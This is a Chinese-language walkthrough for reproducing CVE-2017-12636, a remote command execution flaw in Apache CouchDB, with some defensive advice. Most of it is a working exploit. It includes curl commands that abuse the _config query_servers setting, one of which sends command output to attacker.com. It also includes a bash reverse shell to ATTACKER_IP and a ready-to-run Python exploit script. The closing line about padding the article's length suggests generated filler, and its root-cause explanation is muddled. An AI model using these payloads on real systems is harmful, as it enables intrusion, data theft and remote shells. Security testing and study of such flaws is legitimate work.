如何進行couchdb 任意命令執行漏洞CVE-2017-12636復現

# 如何進行CouchDB 任意命令執行漏洞CVE-2017-12636復現

## 漏洞概述

CVE-2017-12636是Apache CouchDB中的一個高危安全漏洞，該漏洞允許攻擊者通過精心構造的HTTP請求在目標服務器上執行任意操作系統命令。此漏洞影響CouchDB 1.7.0至2.1.1版本，由于Erlang腳本引擎對JavaScript處理不當導致。

### 漏洞原理
CouchDB的查詢服務器(`couchjs`)在處理特定JSON數據時，未能正確驗證用戶輸入，使得攻擊者可以通過`_config` API修改運行時配置，最終實現遠程代碼執行(RCE)。

## 環境準備

### 所需工具
1. **漏洞環境**：  
   - 安裝受影響版本的CouchDB（推薦使用Docker快速搭建）：
     ```bash
     docker run -d -p 5984:5984 --name vulncouch couchdb:2.1.0
     ```
2. **測試工具**：  
   - cURL或Postman（用于發送HTTP請求）
   - Python3（可選，用于編寫自動化腳本）

### 配置檢查
確保CouchDB服務正常運行：
```bash
curl http://localhost:5984/

預期返回類似：

{"couchdb":"Welcome","version":"2.1.0"}

漏洞復現步驟

步驟1：驗證未授權訪問

默認配置下，CouchDB可能允許未授權訪問/_config接口：

curl http://localhost:5984/_config

若返回大量配置信息，說明存在未授權訪問風險。

步驟2：利用query_server配置

通過修改query_server配置實現命令注入：

curl -X PUT http://localhost:5984/_config/query_servers/cmd \
  -d '"/sbin/ifconfig > /tmp/exploit && curl http://attacker.com/exfiltrate?data=$(cat /tmp/exploit | base64)"' \
  -H "Content-Type: application/json"

步驟3：創建惡意設計文檔

構造包含命令執行的臨時視圖：

curl -X PUT 'http://localhost:5984/testdb' 
curl -X PUT http://localhost:5984/testdb/_design/exploit \
  -d '{"_id":"_design/exploit","views":{"cmd":{"map":""} },"language":"cmd"}' \
  -H "Content-Type: application/json"

步驟4：觸發命令執行

通過查詢視圖觸發命令：

curl -X GET http://localhost:5984/testdb/_design/exploit/_view/cmd

步驟5：驗證執行結果

檢查命令是否成功執行：

docker exec vulncouch ls /tmp

應能看到生成的exploit文件。

漏洞分析

關鍵攻擊點

1. _config API暴露：允許修改運行時配置
2. 動態語言加載：通過language字段指定自定義命令處理器
3. 缺乏輸入過濾：未對query_servers參數進行安全校驗

利用鏈示意圖

sequenceDiagram
    attacker->>+CouchDB: PUT /_config/query_servers/cmd
    CouchDB-->>-attacker: 200 OK
    attacker->>+CouchDB: PUT /db/_design/exploit
    CouchDB-->>-attacker: 201 Created
    attacker->>+CouchDB: GET /db/_design/exploit/_view/cmd
    CouchDB->>+System: 執行配置的命令
    System-->>-CouchDB: 命令輸出
    CouchDB-->>-attacker: 500 Error (包含部分輸出)

防御措施

臨時解決方案

1. 升級到CouchDB 2.1.2或更高版本
2. 配置HTTP反向代理限制/_config訪問：

   
   location ~ ^/_config {
      deny all;
   }
   

3. 啟用管理員認證：

   
   [admins]
   admin = mypassword
   

長期建議

• 遵循最小權限原則運行CouchDB
• 定期審計配置文件和API訪問日志
• 使用網絡隔離限制數據庫服務器出站連接

擴展實驗

反彈Shell利用

修改query_servers配置建立反向連接：

curl -X PUT http://localhost:5984/_config/query_servers/cmd \
  -d '"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' \
  -H "Content-Type: application/json"

自動化利用腳本

import requests
import sys

def exploit(target, cmd):
    config_url = f"{target}/_config/query_servers/cmd"
    requests.put(config_url, data=f'"{cmd}"', headers={"Content-Type":"application/json"})
    
    db_url = f"{target}/exploit_db"
    requests.put(db_url)
    
    doc_url = f"{db_url}/_design/exploit"
    requests.put(doc_url, json={
        "_id": "_design/exploit",
        "views": {"cmd": {"map": ""}},
        "language": "cmd"
    })
    
    trigger_url = f"{doc_url}/_view/cmd"
    requests.get(trigger_url)

if __name__ == "__main__":
    exploit(sys.argv[1], sys.argv[2])

法律與道德聲明

1. 本實驗僅限授權環境測試
2. 禁止用于真實生產環境
3. 漏洞披露應遵循負責任的披露流程
4. 未經授權的滲透測試可能違反《網絡安全法》

參考資源

1. CVE-2017-12636官方公告
2. Apache CouchDB安全指南
3. Erlang安全編程規范

”`

注：實際復現時請替換ATTACKER_IP等占位符，并確保在合法授權環境下操作。文章長度可通過增加以下內容擴展： - 詳細錯誤分析 - 不同版本的影響差異 - 企業級防護方案 - 入侵檢測規則示例